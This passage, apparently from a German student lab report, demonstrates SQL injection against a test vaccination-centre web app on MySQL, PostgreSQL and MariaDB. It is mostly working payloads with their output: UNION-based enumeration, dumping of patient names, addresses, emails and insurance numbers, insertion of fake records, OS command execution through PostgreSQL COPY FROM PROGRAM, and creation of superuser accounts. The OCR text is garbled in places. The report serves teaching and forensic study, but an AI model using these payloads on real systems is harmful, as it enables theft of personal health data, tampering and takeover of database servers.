" AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = ‘impfung’;

Nachname

Vorname
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung
impfung

impfung

Geburtsdatum
Aerzte
Aerzte
Aerzte
Aerzte
Aerzte
Arzthelfer
Arzthelfer
Arzthelfer
Arzthelfer
Impfbestand
Impfbestand
Impfbestand
Impfbestand
Impfbestand
Impfbestand
Impfbestand

Impforganisation

Krankenkasse
Arzt_ID
Fachrichtung
Nachname

Titel

Vorname
Arzthelfer ID
Ausbildung
Nachname
Vorname

Anzahl
Impfstoffart
Impfstoffbestand_ID
Impfstoffhersteller
Impfstoffname
Lagerungsart
Verfallsdatum

Adresse
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Nachdem der Aufbau bekannt ist, kdnnen die gespeicherten Inhalte abgefragt werden.

Zuerst sollen alle Arzte mit der internen ID, der Fachrichtung und dem Namen ausgegeben werden:

Befehl: ' AND O UNION SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM impfung.Aerzte;

Patienten

" AND 0 UNION SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM impfung.Aerzte;

Nachname

Fiir einen Angreifer kdnnten ebenso die Impfbestdnde von Bedeutung sein:

Vorname

Innere und Allgemeinmedizin
Innere Medizin

Virologie und Infektionsepidemiclogie
Innere und Allgemeinmedizin
Gastroenterologie

Kinder- und Jugendmedizin
Rheumatologie

Urclogie

Kinder- und Jugendmedizin
Angiologie

OrthopArdie und Unfallchirurgie
Biochemie

Klinische Pharmakologie

Geburtsdatum
Hinz
Bohnert
Sonnen
Hoven
Derr
Schuh
Kutzner
Strickling
Schuh
Dittert
Bieber
Krumpe

Ravens

Krankenkasse
Waltraud
Annette
Silvia
Judith
Martin

Nico
Richard
Ewald

Nico

Fabian
Christopher
Udo

Michael

Befehl: ' AND 0 UNION SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM
impfung.Impfbestand;

Patienten

" AND 0 UNION SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM impfung.Impfbestand;

Nachname

mRNA

mRNA

Vektorimpfstoff

Vektorimpfstoff

mRNA

Vomame

BioMNTech/Pfizer

Moderna

AstraZeneca

Johnson & Johnson

BioMNTech/Pfizer

Geburtsdatum

Comirnaty

COVID-19 Vaccine Moderna
Vaxzevria

Janssen

Comirnaty

Krankenkasse
2021-07-02
2021-07-18
2021-12-08
2021-09-16

2021-07-13
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Eine dritte Abfrage soll die persdnlichen Daten der Patienten anzeigen:

Befehl: ' AND O UNION SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM

impfung.Patienten;

Patienten

' AND 0 UNION SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM impfung.Patienten;

Nachname

HATfner

KrAmmer

Meyer

Hoffmeister

GAvanther

Berger

Weiss

Hormn

Schwarz

Schubert

Hahn

Schneider

Vorname

LandhausstrafYe

Friedrichstrasse

Heinrich Heine Platz

Hedemannstasse

Am Torwall

Gubener Strasse

Fugger Strasse

Konstanzer Strasse

Alt-Moabit

Luebecker Strasse

An der Alster

Albrechtstrasse

Geburtsdatum
brunhilde@gmail.com
theresa_kraemer58@gmail.com
Karlamarla@gmail.com
Splu3ve@psnator.com
guentherh@freemail.de
w-berger@freenet.de
aw@gmx.de
drrgowi@psnator.com
c.schwarz@hotmail.com
klaus.schubert90@gmx.net
marie1234@gmx.de

steffie schneider@gmail.com

Krankenkasse
A187613604
B742006088
315337350
D276474976
D408165756
E701906855
F970029879
(591252485
G774627914
1966174964
1586526967

K146397136

4.2.2 PostgreSQL

Auflistung aller vorhandenen Datenbanken:

Befehl: '; SELECT datname FROM pg_database; --

Patienten

s SELECT datname FROM pg_database; --

Nachname

postgres

impfung

template1

template0

Vorname

Geburtsdatum

Krankenkasse
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Anzeigen der Tabellennamen:

Befehl: '; SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON
n.oid = c.relnamespace WHERE c.relkind IN ('r',"') AND n.nspname NOT IN ('pg_catalog', 'pg_toast')
AND pg_catalog.pg_table_is_visible(c.oid); --

Patienten

' SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (r’,

Nachname
postleitzahlen
impforganisation
aerzte
impfteams
arzthelfer
impfbestand
impfstoff
impfungsert
krankenversicherung
patienten
impfung

impfvorfall

Vorname Geburtsdatum Krankenkasse

Anzeigen der Spaltennamen in den Tabellen:

Befehl: '; SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T
WHERE (C.relkind="r") AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid)
AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public'); --

Patienten

; SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind="r') AND (N.oid=C.relnamesg

Nachname

postleitzahlen

postleitzahlen

postleitzahlen

Auslesen von Inhalten -

Vorname Geburtsdatum Krankenkasse
plz
ort

bundesland

Arzte:
42




4. 5 SQL-Injektion Beispiele und forensische Auswertung

Befehl: '; SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM Aerzte; --

Patienten

*; SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM Aerzte; —

Nachname

Vorname

Innere und Allgemeinmedizin

Innere Medizin

Virologie und Infektionsepidemiologie

Innere und Allgemeinmedizin

Auslesen von Inhalten — Impfbestand:

Geburtsdatum

Hinz

Bohnert

Sennen

Hoven

Krankenkasse
Waltraud
Annette

Silvia

Judith

Befehl: '; SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM Impfbestand;

Patienten

' SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM Impfbestand; --

Nachname

mRNA

mRNA

Vektorimpfstoff

Vektorimpfstoff

mRNA

Vorname

BioNTech/Pfizer

Moderna

AstraZeneca

Johnson & Johnson

BioNTech/Pfizer

Auslesen von Inhalten — Patientendaten:

Geburtsdatum

Comirnaty

COVID-19 Vaccine Modema
Vaxzevria

Janssen

Comirnaty

Krankenkasse
2021-07-02
2021-07-18
2021-12-08
2021-09-16

2021-07-13

Befehl: '; SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM Patienten; --

Patienten

“ SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM Patienten; --

Nachname

Schneider

Weiss

Schwarz

Neumann

Vorname

Albrechtstrasse

Fugger Strasse

Alt-Moabit

Feldstrasse

Geburtsdatum

steffie.schneider@gmail.com

aw@gmx.de

c.schwarz@hotmail.com

onc@outlook.com

Krankenkasse
K146397136
FG70029879
G774627914

M666423437
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4.2.3 MariaDB (Cloud)

Die Auflistung der Datenbanken in MariaDB erfolgt mit folgendem Befehl:

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;

& (&)

SQL Injection HH10

Patienten

'db2-forensik-hh10.ddns.net,

" AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;

Nachname

information_schema

performance_schema

impfung

mysq|l

sys

Vorname

Geburtsdatum

-

Krankenkasse

Der ermittelte Datenbankname in MariaDB, der fiir einen Angreifer relevant ware, ist: impfung
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Der Injection Befehl zur Ermittlung des Aufbaus der Datenbank in MariaDB lautet:

Befehl: ' AND O UNION SELECT 1,2,table_schema,table_name FROM information_schema.tables
WHERE table_schema = "impfung";

& c A Nicht siche 'db2-forensik-hh10.ddns.net, £ r . .

SQL Injection HH10  Tabelle = Tools

Patienten
AND 0 UNION SELECT 1,2 table_schema,table_name FROM information_schema.tables WHERE table_schema = “impfung";
Nachname Vorname Geburtsdatum Krankenkasse
1 2 impfung Krankenversicherung
1 2 impfung Impfungsort
1 2 impfung Patienten
1 2 impfung Impfstoff
1 2 impfung Impfbestand
1 2 impfung Aerzte
1 2 impfung Impfung
1 2 impfung Arzthelfer
1 2 impfung Impfvorfall
1 2 impfung Impfteams
1 2 impfung Impforganisation
1 2 impfung Postleitzahlen

Alle Tabellennamen der Datenbank wurden ausgegeben.
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Der erfordeliche Injection Befehl zur Ermittlung der Spaltennamen in MariaDB ist:

Befehl: ' AND O UNION SELECT 1,table_schema, table_name, column_name FROM
information_schema.columns WHERE table_schema = 'impfung’;

< C A Nichtsiche db2-forensik-hh10.ddns.net

SQL Injection HH10  Tabelle = Tools

MariaDB ¥

" AND O UNION SELECT 1,table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = ‘impfung’;

Patienten
Nachname Vorname
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung
1 impfung

Geburtsdatum

Krankenversicherung

Krankenversicherung

Krankenversicherung

Krankenversicherung

Krankenversicherung

Krankenversicherung

Krankenversicherung

Impfungsort

Impfungsort

Impfungsort

Impfungsort

Impfungsort

Impfungsort

Krankenkasse

Nummer

KV_Name

Adresse

Hausnummer

PLZ

Bundesland

Telefon

Impfungsort_ID

Name_Impfort

Ort

Adresse

Hausnummer

PLZ

Der Auszug zeigt, dass flir samtliche Tabellen der Spaltenname ermittelt warden konnte.
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Die Injection Abfrage um Daten aus der Tabelle aus der Tabelle Arzte mit interner ID, Fachrichtung
und Namen in MariaDB zu ermitteln:

Befehl: ' AND O UNION SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM impfung.Aerzte;

&« C A Nichtsiche 'db2-forensik-hh10.ddns.net, R . »

SQL Injection HH10  Tabelle ools MariaDB ~ ~

Patienten
" AND 0 UNION SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM impfung.Aerzte;
Nachname Vorname Geburtsdatum Krankenkasse
1 Innere und Allgemeinmedizin Hinz Waltraud
2 Innere Medizin Bohnert Annette
3 Virologie und Infektionsepidemiologie Sonnen Silvia
4 Innere und Allgemeinmedizin Hoven Judith
5 Gastroenterclogie Derr Martin
6 Kinder- und Jugendmedizin Schuh Nico
7 Rheumatologie Kutzner Richard
8 Urologie Strickling Ewald
9 Kinder- und Jugendmedizin Schuh Nico
10 Angiologie Dittert Fabian
i OrthopArdie und Unfallchirurgie Bieber Christopher
12 Biochemie Krumpe Udo
13 Klinische Pharmakologie Ravens Michael
14 Arbeitsmedizin Henkel Matthias

Das Ergebnis des Injection Befehls sind nunmehr ermittelte personenbezogene Daten aus der Tabelle
Patienten.
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Aufgefiihrt die Injection Abfrage zu Daten aus der Tabelle Impfbestande in MariaDB:

Befehl: ' AND 0 UNION SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM
impfung.Impfbestand;

< C A Nichtsiche db2-forensik-hh10.ddns.net

=+ >
SQL Injection HH10  Tabelle = Tools

Patienten
AND 0 UNION SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM impfung.impfbestand;

Nachname Vorname Geburtsdatum Krankenkasse

mRNA BioNTech/Pfizer Comirnaty 2021-07-02

mRNA Moderna COVID-19 Vaccine Moderna 2021-07-18

Vektorimpfstoff AstraZeneca Vaxzevria 2021-12-08

Vektorimpfstoff Johnson & Johnson Janssen 2021-09-16

mMRNA BioNTech/Pfizer Comirnaty 2021-07-13

Im Folgenden die Injection Abfrage zu personenbezogenen Daten der Tabelle Patienten aus der
Datenbank Impfung in MariaDB:

Befehl: ' AND 0 UNION SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM
impfung.Patienten;

< C A Nichtsicher ‘db2-forensik-hh10.ddns.net 2 S

SQL Injection HH10  Tabelle = Tools

Patienten
* AND 0 UNION SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM impfung.Patienten;
Nachname Vorname Geburtsdatum Krankenkasse
HATfner LandhausstraiYe brunhilde@gmail.com A187613604
KrAsmer Friedrichstrasse theresa_kraemer58@gmail.com B742006088
Meyer Heinrich Heine Platz Karlamarla@gmail.com (315337350
Hoffmeister Hedemannstasse Splu3ve@psnator.com D276474976
GAvanther Am Torwall guentherh@freemail.de D408165756
Berger Gubener Strasse w-berger@freenet.de E701906855
Weiss Fugger Strasse aw@gmx.de F970029879
Horn Konstanzer Strasse drrgowi@psnator.com G591252485
Schwarz Alt-Moabit c.schwarz@hotmail.com G774627914
Schubert Luebecker Strasse klaus.schubert90@gmx.net 1966174964
Hahn An der Alster marie1234@gmx.de 1586526967
Schneider Albrechtstrasse steffie.schneider@gmail.com K146397136
GAnther Hedemannstasse ws7heub@gmailnator.com K246086445
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4.3 Veranderung von Daten

Nachdem die Daten eingesehen werden konnten, sollen nun bestehende Datensatze verandert
werden. Dafir erstellen und befillen wir einmal eine neue Datenbank. AuRerdem zeigen wir einmal
auf, wie neue Datensatze in eine bestehende Tabelle hinzugefiigt werden.

4.3.1 MysSQL

Im ersten Schritt soll eine weitere Datenbank erstellt angelegt werden:

Befehl: '; CREATE DATABASE Vorstand;

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; ' AND O
UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;

Patienten

dshfshfdo” UNION SELECT schema_name, 2, 3, 4 FROM information_schema.schemata; --
Nachname Vorname Geburtsdatum Krankenkasse

mysql 2 3 4

information_schema 2 3 4

performance_schema 2 3 4

sys 2 3 4

impfung 2 3 4

Vorstand 2 3 4

Die Datenbank , Vorstand“ konnte erfolgreich erstellt werden.

Erstellen einer neuen Tabelle innerhalb der neu erstellten Datenbank:

Befehl: '; CREATE TABLE "Vorstand'.’Chef’ (‘"Name® VARCHAR(10)) ENGINE = MYISAM; --

Becker Berta 1985-09-29 Die Bergische Krankenkasse
Meier Gerrit 1993-10-13 SVLFG

Horn Tilla 1971-10-05 Novitas

Wagner Julian 1999-06-30 BARMER GEK

Winter Lotte 1948-04-07 BKK MAHLE

Vorstand Chef Name varchar
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Die Tabelle ,,Chef” mit der Spalte ,Name” wurde erfolgreich erstellt.

Im letzten Schritt wird ein Datensatz der Tabelle hinzugefiigt:

Befehl: '; INSERT INTO ‘Vorstand'."Chef" ("Name")VALUES ('Haeuser'); --

Befehl: asd' UNION SELECT Name, 2, 3, 4 FROM Vorstand.Chef; --

asd’ UNION SELECT Name, 2, 3, 4 FROM Vorstand.Chef; --
Nachname Vorname Geburtsdatum Krankenkasse
Haeuser 2 3 4

Der Datensatz konnte erfolgreich eingefiigt werden.

Nun wird gezeigt, wie ein neuer Datensatz in eine bereits bestehende Tabelle hinzugefiigt wird.
Dafiir wird folgender Befehl genutzt:

Befehl: '; INSERT INTO Patienten
(Versichertennummer,Nachname,Vorname,Geburtsdatum,Geschlecht,Vorerkrankungen,Covid19 Vo
rinfekt,Priogruppe,Krankenversicherung,Adresse,Hausnummer,PLZ,E_Mail, Telefon)
VALUES('K123456790','h4xx0r','Unbekannt’,'1989-05-02','m",'n",'n','3',98000001, 'Philipp Miiller
StraRRe','14',99303,'h4xx0r@pwn4g3.com’,'03628 62 13 57'); COMMIT; --

Es ist sehr wichtig, dass bei MySQL am Ende der Anweisung noch das COMMIT; mitgegeben wird. Da
das Autocommit in der MySQL-Datenbank standardmaRig auf O (inaktiv) gesetzt ist. Mit dem
COMMIT; werden die Daten festgeschrieben und es findet kein Rollback statt.

d [¢] 0 @ 127.00.1/impfungsort @A » @ =

SQL Injection HH10  Tabelle = Tools =

Ihr Impfzentrum in lhrer Néhe

Sie machten sich impfen lassen? Hier finden Sie in unserer Datenbank das richtige Impfzentrum in Ihrer Nahe!

INSERT INTO Patienten (Versichertennummer,Nachname,Vorname, Geburtsdatum,Geschlecht Vorerkrankungen,Covid19_Vorinfekt Priogrupp:
ort Wo Adresse Hausnummer ~ PLZ
Impfzentrum Ammerland Schule Virchowstrasse 2 26160
Impfzentrum Aurich Sporthalle Georgsheiler Weg 52 26624

Impfzentrum Braunschweig Stadthalle st. Leonhard 14 38102

Mit einem UNION SELECT-Befehl wird liberprift, ob die Daten erfolgreich hinzugefiigt werden
konnten:
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Befehl: ' AND 0 UNION SELECT Versichertennummer, Nachname, Vorname, E_Mail, Geburtsdatum
FROM impfung.Patienten WHERE Nachname = 'h4xx0r";

lhr Impfzentrum in lhrer Nahe

Sie mdchten sich impfen lassen? Hier finden Sie in unserer Datenbank das richtige Impfzentrum in Ihrer Nahe!
* AND 0 UNION SELECT Versichertennummer, Nachname, Vorname, E_Mail, Geburtsdatum FROM impfung.Patienten WHERE Nachname = 'h4
Ort Wo Adresse Hausnummer PLZ

K123456790 hdxx0r Unbekannt haxx0r@ pwn4g3.com 1989-05-02

Wie auf der Abbildung zu sehen ist, wurde der ,,Patient” mit dem Namen Unbekannt h4xx0r
hinzugefiigt.

4.3.2 PostgreSQL

Wie im Beispiel (2.3.2) wird die gleiche Datenbank testdb noch einmal angelegt.

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle
FROM PROGRAM 'psql -c "CREATE DATABASE testdb"'; SELECT * FROM hilfstabelle; --'

AnschlieBend werden die bestehenden Datenbanken eingesehen und Uberprift, um so die
erfolgreiche Erstellung der Datenbank testdb zu verifizieren.

Befehl: '; SELECT datname FROM pg_database; --

Patienten

' SELECT datname FROM pg_database; --

', SELECT datname FROM pg_database; --

Nachname Vorname Geburtsdatum Krankenkasse
postgres

impfung

template1

template0

testdb

Die Datenbank testdb konnte erfolgreich erstellt werden.
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Eine anschlieRende Uberpriifung mit dem Adminer zeigt ebenfalls, dass die Datenbank erstellt
werden konnte.

Adminer 4.8.1 Datenbank auswahlen

DB: Datenbank erstellen  Prozessliste  Variablen

SQL-Kommando Version PostgreSQL: 12.9 (Debian 12.9-1.pgdg110+1) mit PHP-Erweiterung PDO_PgSQL
Importieren Exportieren Angemeldet als: postgres

Datenbank - Aktualisieren | Kollation |Tabellen GréBe - kalkulieren

O | impfung en_US.utf8 ? ?
[ | postgres en_US.utfg ? ?
[J | template0 en_US.utf8 ? ?
() |templatel en_US.utf8 ? ?
| J | testdb en_US.utf8 ? ?|

Uber die gleiche Vorgehensweise wie beim Anlegen einer Datenbank wird die Datenbank nun wieder

geloscht.

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle
FROM PROGRAM 'psql -c "DROP DATABASE testdb"'; SELECT * FROM hilfstabelle; --'

Mit einer weiteren Uberpriifung der vorhandenen Datenbanken wurde iiberpriift, ob die Léschung
der Datenbank korrekt ausgefiihrt wurde.

Patienten

', SELECT datname FROM pg_database; --

; SELECT datname FROM pg_database; --

Nachname Vorname Geburtsdatum Krankenkasse
postgres
impfung
template1
template0
Adminer 4.8.1 Datenbank auswdhlen
DB: Datenbank erstellen  Prozessliste  Variablen
SQL-Kemmando Version PostgreSQL: 12.9 (Debian 12.9-1.pgdg110+1) mit PHP-Erweiterung PDO_PgSQL
Importieren Exportieren Angemeldet als: postgres

Datenbank - Aktualisieren  Kollation |Tabellen GroBe - kalkulieren

0 | impfung en_US.utf8 ? ?
[ | postgres en_US.utf8 B ?
[J |template0 en_US.utf8 ? ?
O | templatel en_US.utf8 ? ?

Ausgewéhlte (0)

Die Datenbank ist nicht mehr vorhanden und konnte erfolgreich entfernt werden.
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Auch hier versuchen wir nun einen Patienten hinzuzugfiigen:

Befehl: '; INSERT INTO Patienten
(Versichertennummer,Nachname,Vorname,Geburtsdatum,Geschlecht,Vorerkrankungen,Covid19_Vo
rinfekt,Priogruppe,Krankenversicherung,Adresse,Hausnummer,PLZ,E_Mail, Telefon)
VALUES('K123456790','h4xx0r','Unbekannt’,'1989-05-02','m",'n",'n",'3',98000001, 'Philipp Miiller
StralRe','14',99303,'h4xx0r@pwn4g3.com','03628 62 13 57'); --

Wie in Abschnitt 1 (Vorbereitung) angegeben, wurde die Datei app.py mit dem AUTOCOMMIT
angepasst, weshalb hier kein COMMIT; explizit ausgefiihrt werden muss.

4 Db C 0 @ 127.00.1/impfungsort P A » B =

SQL Injection HH10  Tabelle = Tools ~

lhr Impfzentrum in lhrer Nahe

Sie méchten sich impfen lassen? Hier finden Sie in unserer Datenbank das richtige Impfzentrum in lhrer Nahe!

7 INSERT INTO Patienten (Versichertennummer,Nachname Vorname,Geburtsdatum, Geschlecht,Vorerkrankungen,Covid19_Vorinfekt,Priogruppi

ort ‘Wo Adresse Hausnummer PLZ
Impfzentrum Ammerland Schule Virchowstrasse 2 26160
Impfzentrum Aurich Sporthalle Georgsheiler Weg 52 26624

Nun wird Uberprift, ob der Patient erfolgreich angelegt werden konnte:

Befehl: '; SELECT Vorname, Nachname, Adresse, E_Mail, Versichertennummer FROM Patienten
WHERE Nachname = 'Unbekannt’; --

SQL Injection HH10  Tabelle = Tools

lhr Impfzentrum in lhrer Nahe

Sie méchten sich impfen lassen? Hier finden Sie in unserer Datenbank das richtige Impfzentrum in Ihrer N&he!

' SELECT Vorname, Nachname, Adresse, E_Mail, Versichertennummer FROM Patienten WHERE Vorname = ‘Unbekannt’ -
ort Wo Adresse Hausnummer PLZ
Unbekannt haodr Philipp Miller StraBe hdxx0r@pwn4g3.com K123456790

Auch hier wurde der Patient korrekt in der Tabelle angelegt.
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4.3.3 MariaDB (Cloud)

Der Befehl zur Erstellung und Priifung einer Datenbank mit einem Injection Befehl in MariaDB:

Befehl: '; CREATE DATABASE evildb;

Befehl: ' AND O UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; ' AND O
UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;

&« C db2-forensik-hh10.ddns.net 2 T B

SQL Injection HH10 MariaDB v

Patienten
AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; * AND 0 UNION SELECT schema_name,0,0,0 FROM informa
Nachname Vorname Geburtsdatum Krankenkasse
information_schema 0 0 0
evildb 0 0 0
performance_schema 0 0 0
impfung 0 0 0
mysql 0 0 0
sys 0 o] 0

Im Abbild ist zu sehen, dass die Datenbank evildb erfolgreich erstellt wurde.

Das Erstellen einer neuen Tabelle ,Hacker” innerhalb der vorher erstellten Datenbank evildb in
MariaDB geschieht wie folgt:

Befehl: '; CREATE TABLE “evildb'. hacker’('nickname™ VARCHAR(10)) ENGINE = MYISAM; --

Befehl: ' AND O UNION SELECT 1,table_schema, table_name, column_name FROM
information_schema.columns WHERE table_schema = 'evildb’;

db2-forensik-hh10.ddns.net » s »

SQL Injection HH10 > -

Patienten
* AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = 'evildb’;
Nachname Vorname Geburtsdatum Krankenkasse

1 evildb Hacker Nickname

Die Tabelle “Hacker” mit der Spalte “Nickname” wurde erfolgreich erstellt.
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Ein Datensatz wird in MariaDB der neu erstellten Tabelle “Hacker” in der Datenbank “evildb”
hinzugefiigt und das Hinzufligen verifiziert:

Befehl: '; INSERT INTO “evildb’."Hacker" (*Nickname")VALUES ('hOldmyb33r'); --

Befehl: ' UNION SELECT Nickname, 2, 3, 4 FROM evildb.hacker; --

& c A Nicht sicher 'db2-forensik-hh10.ddns.net.

2 1 s »
SQL Injection HH10  Tabelle = Tools

UNION SELECT Nickname, 2, 3, 4 FROM evildb.hacker; --
Nachname Vorname Geburtsdatum Krankenkasse
holdmyb33r 2 3 4

Das Erstellen des Datensatzes wurde erfolgreich durchgefiihrt.

Auch bei MariaDB wird ein Patient angelegt:

Befehl: '; INSERT INTO Patienten
(Versichertennummer,Nachname,Vorname,Geburtsdatum,Geschlecht,Vorerkrankungen,Covid19_Vo
rinfekt,Priogruppe,Krankenversicherung,Adresse,Hausnummer,PLZ,E_Mail, Telefon)
VALUES('K123456789','Wayne’,'Bruce’,'1915-04-17','m','n",'n",'3',98000001,'Wayne
Manor','1',99303,'b@man.bat','0123456789'); COMMIT; --

Auch in MariaDB muss das COMMIT; extra mit angegeben werden, damit die Daten festgeschrieben
werden.

db2-forensik-hh10.ddns.net.

SQL Injection HH10  Tabelle ~ T

Ilhr Impfzentrum in lhrer Nahe

Sie mochten sich impfen lassen? Hier finden Sie in unserer Datenbank das richtige Impfzentrum in Ihrer Nahe!

' INSERT INTO Patienten (Versichertennummer,Nachname,Vorname,Geburtsdatum,Geschlecht,Vorerkrankungen,Covid19_Vorinfekt,Priogrupp:

Ort Wo Adresse Hausnummer PLZ
Impfzentrum Hannover MessegelAande Messehalle 25 30521
Impfzentrum Ammerland Schule Virchowstrasse 2 26160
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Auch jetzt wird Uberpriift, ob die Daten korrekt in die Tabelle lbernommen wurden:

Befehl: '; AND O UNION SELECT Versichertennummer, Nachname, Vorname, E_Mail, Geburtsdatum
FROM impfung.Patienten WHERE Nachname = 'Wayne';

db2-forensik-hh10.ddns.net,

SQL Injection HH10

lhr Impfzentrum in lhrer Nahe

Sie méchten sich impfen lassen? Hier finden Sie in unserer Datenbank das richtige Impfzentrum in lhrer Nahe!

* AND 0 UNION SELECT Versichertennummer, Nachname, Vorname, E_Mail, Geburtsdatum FROM impfung.Patienten WHERE Nachname = 'W:
Ort Wo Adresse Hausnummer PLZ

K123456789 Wayne Bruce b@man.bat 1915-04-17

Der Patient Bruce Wayne wurde erfolgreich hinzugefiigt.
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4.4 Datenbank-Server verandern

Bei der Veranderung des Datenbank-Servers ist insbesondere die Verdnderung der
Benutzerverwaltung von zentraler Bedeutung. Hierdurch wird versucht sich weitreichende
Berechtigungen innerhalb des DBMS zu verschaffen.

4.4.1 MysSQL

Neuen Benutzer erstellen:

Befehl: '; CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacked'; GRANT ALL PRIVILEGES ON *.* TO
'hacker'@'%'; FLUSH PRIVILEGES; --

Patienten

'; CREATE USER "hacker'@'%" IDENTIFIED BY 'hacked’; GRANT ALL PRIVILEGES ON *.* TO ‘hacker'@'%"; FLUSH PRIVILEGES; --

Befehl: asd' UNION SELECT user, 2, 3, 4 FROM mysql.user; --

Patienten

asd’ UNION SELECT user, 2, 3, 4 FROM mysqgl.user; -
Nachname Vorname Geburtsdatum Krankenkasse

hacker 2 3 4

root 2 3 4

mysql.infoschema 2 3 4

mysgl.session 2 3 4

mysql.sys 2 3 4

Der neue Benutzer ,hacker” wurde erfolgreich mit Superuser-Rechten erstellt.

Benutzer loschen:

Befehl: '; DELETE FROM “mysql’."user’ WHERE ‘User ='hacker'; FLUSH PRIVILEGES; --

Patienten
asd’ UNION SELECT user, 2, 3, 4 FROM mysql.user; —
Nachname Vorname Geburtsdatum Krankenkasse
root 2 3 4
mysgl.infoschema 2 3 4
mysql.sessicn 2 3 4
mysql.sys 2 3 4
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Der Benutzer konnte wieder geldscht werden.

Ein Angreifer konnte sich so selbst Superuser-Rechte verschaffen und anschlieRend alle anderen
Benutzerkonten entfernen, sodass andere Konten keinen Zugriff mehr auf die Datenbank besitzen.

4.4.2 PostgreSQL

Wie im Beispiel soll nun ein neuer Benutzer mit Superuser-Rechten erstellt werden. Mit diesem
werden wir uns dann auch im Adminer anmelden und so versuchen, die Inhalte der Datenbanken
einzusehen und ggfs. zu verandern.

Dafiir wurde der Befehl aus dem Beispiel um ,,ALTER ROLE hh10 with CREATEDB” erweitert.

Befehl: CREATE ROLE hh10 WITH SUPERUSER; ALTER ROLE hh10 with CREATEDB; ALTER ROLE hh10
WITH LOGIN; ALTER ROLE hh10 WITH PASSWORD 'hh10'; --

AnschlieBend erfolgt eine Abfrage der bestehenden Datenbankbenutzer:

Befehl: '; SELECT usename, usesuper FROM pg_user; --

Impfungsort
; SELECT usename, usesuper FROM pg_user; --
Ort Wo Adresse Hausnummer PLZ
postgres True
hh10 True

Auch die Anmeldung im Adminer konnte mit dem neuen Benutzer hh10 erfolgen. AnschlieRend wurde
auch dort noch einmal die Abfrage der bestehenden Datenbankbenutzer durchgefiihrt.

Adminer 4.s.1 SQL-Kommando
|
| DB: SELECT usename, usesuper FROM pg_user
SQL-Kommando usename | usesuper
| Importieren Exportieren postgres |1
hh10 1
2 Datensatze Bearbeiten, Explain, Exportieren

SELECT usename, usesuper FROM pg_user;

Nun Gberprifen wir, ob mit dem neuen Benutzer hh10 auch eine Datenbank erstellt werden kann.
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Die Erstellung wird direkt im Adminer durchgefiihrt und funktioniert ohne weitere Probleme.

Adminer 4.5.1 Datenbank auswahlen
DB: Datenbank erstellen  Prozessliste  Variablen
SQL-Kommando Version PostgreSQL: 12.9 (Debian 12.9-1.pgdg110+1) mit PHP-Erweiterung PDO_PgSQL
Importieren Exportieren Angemeldet als: hh10
Datenbank - Aktualisieren Kollation Tabellen | GréBe - kalkulieren

[ |hh10test en_US.utf8 ? ?

[J |impfung en_US.utf8 7 ?

[J | postgres en_US.utf8 ? ?

[ [template0 en_US.utf8 % ?

O | templatel en_US.utf8 ? ?

Es erfolgt die Abmeldung im Adminer — Nun wird die erstellte Datenbank im Adminer gel6scht. Der

Benutzer wird dann wieder Gber die SQLi entfernt.

DB: Datenbank erstellen  Prozessliste  Variablen
SQL-Kommando Version PostgreSQL: 12.9 (Debian 12.9-1.pgdg110+1) mit PHP-Erweiterung PDO_PgSQL
Importieren Exportieren Angemeldet als: hh10
Datenbank - Aktualisieren |Kollation Tabellen | GroBe - kalkulieren

hh1l0test en_US.utf8 ? ?

[J | impfung en_Us.utf8 ? ?

[J postgres en_US.utfg ? ?

[J template0 en_US.utf8 ? ?

[J templatel en_US.utf8 ? ?

—Ausgewdhlte (1)

Befehl: '; DROP USER hh10; --

Impfungsort

; SELECT usename, usesuper FROM pg_user; --
Oort Wo Adresse Hausnummer

postgres True

Der Benutzer hh10 wurde erfolgreich entfernt.

PLZ
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4.4.3 MariaDB (Cloud)

Das Erstellen eines neuen Datenbankbenutzers in MariaDB hat folgende Vorgehensweise:

